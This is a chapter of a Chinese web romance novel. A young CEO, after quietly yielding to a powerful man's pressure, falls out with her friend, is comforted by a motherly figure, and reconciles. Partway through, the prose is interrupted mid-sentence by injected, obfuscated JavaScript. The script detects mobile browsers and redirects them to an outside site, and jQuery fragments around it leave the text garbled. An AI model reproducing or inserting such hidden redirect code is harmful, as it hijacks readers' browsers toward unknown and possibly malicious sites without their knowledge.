79. [锁] 该章节由作者自行锁定

作品:《爱情今日待办

    一场巨大的情绪宣泄之后,不是爽,是长久的疲惫。


    就像喝一堆酒,犹豫的天枰最终决定出口气,把撕逼视频发在网上。宁芙回到别墅已经是凌晨1点,所有灯都暗着,盛启枫睡了,打开一瓶吃灰许久的红酒,水壶加入致死量冰块后把它倒空,再拿一对高脚杯。


    探头进盛启枫房间,人睡得很熟,于是轻手轻脚在他额头落下一个吻,转头到自己的房间,关上门,留一盏床头灯。


    一杯,两杯……一壶喝空。


    冰冷液体流入喉咙,却慢慢催发出身体的热。


    宁芙在床垫上蹦来蹦去,试图消解那些无形的躁郁。随着身体疲惫,分泌出的内啡肽让情绪逐渐平和,酒精上头晕晕沉沉,趁着最后的清醒时间,打开浴室大门,把整夜情绪洗刷殆尽,毛孔都焕然一新的时候,倒头就睡。


    一夜无梦,但宿醉会头痛。


    周日中午宁芙迷糊醒来,下意识就往洗手间走。蹲在马桶上打哈欠,隐约闻到血腥气,睁开眼,一片黑色血块掉在裆部,像在对她打招呼。


    昨天情绪格外易怒有了解释。


    月经。


    一个每月准时来到的老朋友,早早地寄过问候。


    她蓦地想起好友书中的描述:血液通常代表着疼痛与死亡,唯独月经预示着新生。


    文字是神奇的精神锚点,在那之后,她对月经的记忆从买不起卫生巾的窘迫解绑,而是期待着这场蜕变结束,以后又是新的自己。


    “hello,全新的我。”


    她哼着不知名的曲调,换上新内裤,把蝴蝶绑在里头,刷牙洗脸,像小精灵轻快地飞出洗手间——然后脸朝下扑倒在床上。


    创业是007,唯独月经期间她可以纵容自己摆烂,等待时间结束,清爽地活在当下。月经也仿佛是暂停键,允许她回顾,过去这段时光,有没有好好照顾自己跌身体。


    想起昨夜大壶畅饮的红酒,想重温旧梦的当,再抬头床头玻璃壶装满蜂蜜柚子茶,附便签一张。


    “谁家的小馋猫半夜溜回家偷喝三瓶酒,你有头绪吗。”


    ——from摸不着头脑的盛某某。


    嘴角不经意间扬起,宁芙轱辘到床头柜边,大口往嘴里倒起饮料。


    甜味充斥味蕾每一角,一壶倒空,宁芙舔舔嘴角,到处摸手机,才发现早已没电关机,于是找出充电器插上,人抱着空壶下楼。


    脚还在一二楼之间的平台,亲切询问从楼下传来。


    “感觉还好吗?头疼不疼?饿了吗?”


    下到一楼,宁芙才瞧见,以往周末也不着家的人,穿着清爽白色短袖短裤,此刻正坐在地毯里,几十份文件摆在茶几上,不知道在钻研什么。


    于是一一回答:“喝瓶酒而已,不疼,多亏你一壶茶现在水饱——”


    宁芙把空壶放到吧台,三步并两步跑到沙发边,手撑着靠背,把自己摔进男人张开的怀抱里,脑袋凑近脖颈里嗅。


    男人依然把自己洗得清爽,暗搓搓喷过香水,橙子混合木质香,宛若行走在水果林。


    她完全靠在他怀里,蹭几下找到最适合的角度,得到最舒服的人型靠枕惬意眯上眼睛,充电似的。


    抱在怀里看不到人,想看着整个人距离就无比远。


    世事总是难两全。


    盛启枫逗睡不醒的人:“这么开心,看起来昨天很顺利?”


    宁芙鼻子慢慢哼个嗯,懒得开腔。


    男人就开始自说自话:“早知道你昨天要回家,我完全可以迟点睡,接你回来的。三瓶酒,每瓶六百毫升,知道的说你庆祝,不知道的以为买醉呢。”


    宁芙懒得睁眼,指尖直戳他心窝:“心疼钱啊?”


    “不对。是,如果你身体不舒服,我也没法替你难受。庆祝不用糟蹋身体健康,不开心我也能帮你出出主意,不然人找对象图什么,是不是啊?”


    于是嘴角被亲一记。


    再低下头,宁芙还是安静地睡着,他就老老实实陪着,就好像昨晚缺席的同床共枕就此补回来。


    睡到宁芙再次醒来喊饿,盛启枫起身做饭,她倒在沙发里继续睡。饭熟去叫她,宁芙懒懒散散爬起来一看,是拌饭。


    深谙她喝过酒第二天不吃饭对冲热量的坏习惯,牛肉切成适宜入口的粒,蔬菜沙拉切碎,藜麦杂粮铺在最底层,吃一口营养均衡到可以当医院案例。


    他总是把她的一切需求看在眼里,记在心上。


    见宁芙迟迟不动手,贴心的问即刻出口:“不喜欢吗?那都留给我,想吃什么点外卖,或者我做别的?”


    宁芙极慢地摇头,拿起勺子,往嘴里塞的每一口,内心越发变得坚定。


    是的,我没错。


    如果我错了……那就愿赌服输。


    确信之后,是前所未有的疲惫。


    她低着头吃完一整晚,一口气喝掉橙汁,把脸埋在掌心。


    盛启枫端详着她的脸色:“不舒服我们就去医院。”


    宁芙摇摇头,挤出一个笑容:“没事。昨天喝酒,加今天月经第一天,浑身上下哪儿都不舒服。如果我对你发货,纯属是激素作用。我上楼继续躺着了,晚饭可能不吃,有事到我房间叫我。”


    盛启枫点头,随即问:“说起来,你昨晚发我的‘不用担心审核的事,不会再有人针对你了’……是什么意思?’”


    宁芙耸肩,佯装无事发生:“一份美好的祝愿。”


    “借你吉言,上午我收到的好消息是,二审阻碍少了一半,虽然不知道为什么发生,也不知道为什么离开……总而言之,剩下的一半我们还在努力。”


    宁芙默然。


    所谓权力,就是一切合法合规合流程的时候,既可以把你提到第一个处理,又可以把你永远放在最后一个解决。


    执念叫他对她高抬贵手,傲慢叫他遵守承诺,不添堵已经是莫大的面子,直接开绿灯放行,是万万不可能。


    于是她扬起招牌笑容:“事情得一颠一颠解决,彻底过审记得叫我,我秋季运动线等着免费广告呢。”


    盛启枫俏皮比个敬礼:“是,我的宁大总裁。”


    宁芙回到房间,躺在床上,打开微博,评论转发艾特私信永远99+。


    简单回复十多条粉丝留言,得乐产品质量质疑,她点着屏幕的手在私信上迟疑。


    上次回消息还是年初,好心人告诉她前任出轨……不知道这一次会有什么收获。


    她打开私信。


    有人发吊照性骚扰,有人自荐枕席想做得乐CEO,有人八卦她的新恋情是真的吗,有人转发有趣微博,有人记录着成长,有人散发着人生的疑问。


    脱离自我的藩篱向外看,世界丰富多彩,时刻变化者。


    走过人生的过山车,她比谁都确定她需要的,不过是一个温暖的家,一个可以拥抱的人,一位可以说任何事的知心朋友……


    所以,她是对的。


    她拥抱着确信入睡,直到窗外黑下来,盛启枫叫她吃晚饭。


    吃过晚饭,她依然回到自己房间睡觉,再睁眼又是白天。


    她躲过上班,躲过外界变化,月经是绝佳的借口,精神却像永远睡不醒一样,让她总是不想睁眼。


    直到月经第四天。


    她吃过早饭爬上床摆烂,再有意识时,许挽星熟悉的声音带着震怒和不可思议对她叫嚷。


    “宁芙!你给我起来!”


    宁芙没有动弹。


    许挽星一把将被子掀开,拽着她衣领强迫她睁眼,宁芙只能慢吞吞起身,靠在床头,视线不经意瞟到外界。


    天,不知道什么时候又黑了。


    我这是睡了多久。


    疑问浮在脑海,宁芙惺忪睡眼望向好友,声音都有些哑:“怎么了?你怎么过来了,出什么事了,需要我帮忙吗?”


    许挽星双手叉腰,居高临下瞧她,眼神满是责备,听到这句问登时笑了。


    “了不起啊,宁芙,舍己为人,我是不是得给你颁个奖?我认识你三年,听你说怎么对付仇敌,跟你一起撕过逼,见你骂哭过垃圾,怎么唯独没发现你是这么个圣母?我是不是得谢谢你?”


    在连珠炮单似的阴阳怪气里,宁芙明白过来。


    她知道了。


    许挽星像核弹一点就炸,引线嘶嘶地冒着烟。


    宁芙张了张嘴,绞尽脑汁,用最委婉的措辞道:“他表面在针对启枫,本质是逼我就范。影视项目是大家所有人的心血,平台方、投资方、制作方碰上这种事都算无妄之灾,事情解决了就行,并且解决得还挺简单不是,只要我出面……”


    衣领顿时被攥住,凑在她眼前许挽星的面庞怒不可遏。


    “谁欺负我,最好的解决方法是以眼还眼,以牙还牙。宁芙,这是你说过的。不管他姜景天出于什么目的,阻止我的项目顺利进行,他的对手是我不是你,拎得清楚吗。”


    “问题这不是解决了吗,还有什么——”


    “——你觉得问题在这吗?”


    宁芙欲张口解释,却见许挽星眼眶红了,淌着泪光。


    话语从压根里咬出,一字一逗。


    “是,是解决了,在你伟大的献身之后。对,姜景天是没把你怎么样,如果他真的伤害你了呢?电视剧上映之后,让我看着每一个画面记起来,代价不是剧组上百号人辛勤劳动,而是你的屈服吗?电车难题还有辩论余地,你这一声不吭也太伟大了。我要不要给你在寺庙立个生祠供着?要我说点什么,才能让你认识到,你不是我妈?


    “我许挽星,生平最恨的就是用权势压人,眼里揉不了沙子,所以做不了法律工作,躲在键盘后面用文字建造理想社会,而不是我没骨头。如果你意识不到这一点,这三年朋友,我们白做了。


    “今天特意过来,就是跟您说声谢谢,以后不用再联络了。因为你让我觉得,我是遇事临阵脱逃,卖友求荣的下流货色。原来我也能跟这两个词挂钩,哇,感觉真不错。”


    许挽星松开拽住她睡衣的手,眼神如从未认识般冷漠,上下扫她两眼,几步离开卧室。


    无一脏字,余音却字字戳着她的脊梁骨。


    宁芙没力气去追,怔怔望向门口,却看到盛启枫。


    他抱臂站在门口,轻叹一口气。


    “你是不是该跟我说点什么?”


    茫然席卷脑海,宁芙再三确认起对峙的决意,回到那天她依然不会改变这个决定,于是坚定地捍卫起自己:“我没错。”


    男人深深望向她,抿抿嘴唇:“你真这么觉得?”


    咬着牙,宁芙坚定地说:“嗯。”


    盛启枫指尖按压起太阳穴:“那我得仔细想想,我到底哪里做得不到位了。你先休息吧,做好晚饭我会来叫你的。”


    人同样消失在房间门口。


    到底怎么了?


    下决心去捍卫的东西,一个一个,都离开了。


    鼻腔泛着酸意,压下泪意,宁芙坐在夜晚巨大的安静里,许久才摸到被角,重新把自己缩进里面。


    意识在半梦半醒间沉浮,直到有人轻声呼唤她。


    “芙芙,妈妈来看你了,跟妈妈说句话好吗。”


    妈妈?


    可你不是有新家了吗。


    她茫然地伸手去够,却发现手中的是被褥,触觉视觉都鲜活起来,呼唤的声音却越来越清晰。


    她懵懂间拉开头顶的被子,看见满脸担忧的启珍。


    额头满是汗水,短袖领口都湿着。


    带着一路风尘,不远千里,为她而来。


    见她终于有点反应,启珍也松口气,不管不顾把她抱在怀里,嘴里念念有词。


    “我们芙芙,这是受委屈了呀。


    “不怕,妈妈来了。”


    拍在肩头的手宛如母亲哄着婴儿,手掌温柔有力,一下,又一下。


    她心里说不清道不明的碎裂,被启珍坚定地拢在一起,仔细地弥合。


    拍打声安静地回荡在房间内,宁芙安静伏在她肩头,视线飘在虚空之外,不知多久,一滴眼泪落到启珍胸口。


    她松开抱着宁芙的胳膊,转而把她的脸捧在掌心,一滴一滴抹掉。


    泪没有尽头地流,她不厌其烦地擦,直到那双空洞的眼睛泛起涟漪,精神重新回到身体里。


    “妈妈。”宁芙轻轻喊着。


    “诶。”启珍应着。


    “其


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783687|154093||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    实那天,我真的很害怕。”


    害怕真的受伤,害怕对方不信守承诺。


    害怕朋友们心血付诸东流,更害怕她无法主宰的以后。


    又是一滴泪水落下,宁芙为自己辩驳:“但是,我觉得值得。”


    启珍欣然一笑:“我知道。”


    哭累了,宁芙垂下头,轻叹口气。


    启珍牵住她的手,循循善诱。


    “芙芙,你的出发点是好的。但是问题的本质,在于有人越过界限使用权力。世上没有解决不了的问题,但得用对正确的方法。这一次你屈服了,他们尝到甜头,以后会有更多受害者的。”


    宁芙喃喃:“那能怎么办呢。”


    启珍捏捏她脸蛋:“向周围人求援,大家一起解决啊。”


    被其真抱在怀里,宁芙这才得知。


    被卡在二审,盛启枫联络导师,许挽星联络作协,听闻有人故意做手脚,Gose高层也找人,任祈告诉家里人,岳梧在海外也有一定程度的影响力,一切都可以撬动这只手,不能随意作威作福。


    权力不是无法制衡的东西,不论她是否挺身而出,他们都能把它解决掉。


    启珍抚着她的长发,慢慢说:“人不是一座孤岛,世上没有必须的牺牲。如果你认为自己是正确的,那就向这个世界求援。有时候,人得站出来,别人才知道如何提供帮助……一个人解决不了的问题,大家可以一起解决的。”


    宁芙沉默片刻开口:“我是不是很傻。”


    启珍摇头:“心理学说,不管□□年龄如何,人的心智会永久困在那个遭受重大打击的年龄。18岁时你孤立无援,但现在的你,有好朋友,有未婚夫,还有我。”


    一切变成一张巨大的安全网,不会任由她坠落,撞得粉身碎骨。


    两个眼睛红得像兔子,宁芙望着启珍,轻声说:“谢谢。”


    启珍下巴扬起,宁芙回头,是她的手机。


    “去吧,一切都来得及。”


    宁芙拿起手机,打开微信,999+信息更新刷了许久,她才看到没读的信息。


    五天前。


    许挽星:【芙芙,你怎么不在群里说话了,别管我抱怨啊,你知道我抱怨完还会做事的,别往心里去。】


    四天前。


    许挽星:【我们那边还算顺利,盛总有告诉你吧?月经来了不舒服,要不要我买甜食给你?想吃什么?】


    三天前。


    许挽星:【我买到了超好吃的舒芙蕾!一起来吃啊!】


    两天前。


    许挽星:【怎么回事!乐乐姐说你三天没去公司了,就这么不舒服吗?等我开完会回来上门看你去。回消息呀!别躲在屏幕后不出声,我知道你在偷看呢!再不回我消息,新试读没你的份了!】


    一天前。


    许挽星:【我听到了很离谱的事情,你最好告诉我那是假的。虽然我对性持开放态度,但你不是呀。这种事,可以慎重,没想清楚前不要轻易尝试,或者完全不尝试,出发点一定是你的意愿。千万不要为别人做出改变,甚至牺牲,你明白我意思吧?】


    大段没被回应的紧张和疑惑,塑造了今天的愤怒。


    宁芙按下录音,却是大段沉默。


    手松发出去,没看到红色提示点。


    该庆幸吗?还是……


    她深吸一口气,清清嗓子,重新按下录音键。


    “许挽星,我承认我是做错事了,应该一声不吭自以为是在做好事。但是!一条流浪狗养三年也会对我摇尾巴了!更别提我给你买吃的喝的牵线搭桥介绍新朋友!你敢跟我绝交?我最后问你一次,真的假的!没品的东西!”


    对面秒回。


    “滚!你才是没品的东西!有钱富姐不泡20岁弟弟反而谈30岁老登已经让我忍无可忍,怎么还能给33岁的玩意儿揩油!你长没长脑子?得乐发展到现在没破产纯粹是你运气好吧?还想拳打爱马仕脚踩LVHM横扫lululemon上市,睡了五天梦到过那是什么图景吗,笑死,女首富。”


    “你也就是现在才能待在未来世界女首富朋友圈了!珍惜吧!绝交个der!”


    “等我获诺贝尔文学奖,第一件事就是把这个写进演讲词,笑死。让一个女人为我献出自己,原来魅魔不是你不是任祈,长我这样。”


    宁芙笑骂:“滚呐!”


    对面安静片刻,回了音:“不管怎么说,姜景天没伤害你,算他是个男人。但是这笔仇我记下了,下本写捞女,让他当配角卖□□去。”


    “……那你会被盯上的吧。”


    “会隐蔽行事,你懂我的。”


    “加油,但我的试读呢。”


    “……过了那个村,没那个店,懂?”


    宁芙忍无可忍:“你压根就没写吧!骗自己可以!别把姐们也给骗了!!”


    许挽星装死了。


    对手机再想骂骂咧咧,忽然想起身边有启珍,宁芙迅速装回端庄淑女:“不好意思见笑了。”


    启珍见怪不怪:“没事儿。我教书育人,什么样孩子没见过。下楼吃饭去。”


    启珍牵着宁芙下楼,盛启枫在吧台边安静坐着,见俩人下来把冰箱里做好的饭菜加热。


    盛启枫望着宁芙表情有话要说,被宁芙倒打一耙:“你凶我!你居然敢凶我!”


    “……”


    盛启枫挠挠鼻尖:“不,我也该道歉。我是想告诉你好消息,就没告诉过你打算怎么解决,没想到你犯傻了……比起那些,其实我觉得有点好笑。”


    “?笑什么。”


    “原来芙芙不是观念保守,而是思想封建。什么年代了,还想……”


    一包纸巾被启珍丢到他脑袋上。


    盛启枫识趣闭嘴,伺候两位女士吃过晚饭,一起回屋睡觉。


    启珍毕竟连夜赶来,沾枕头就睡着,睡不着的宁芙望向窗外。


    夜色重归黑暗。


    天有不测风云,人有旦夕祸福。知道它会来,也会做好被淋湿的准备,但只要能够回家,一切好像都没那么可怕。


    宁芙闭上双眼,恍惚中想。


    我的未来也选择了我。


    真好。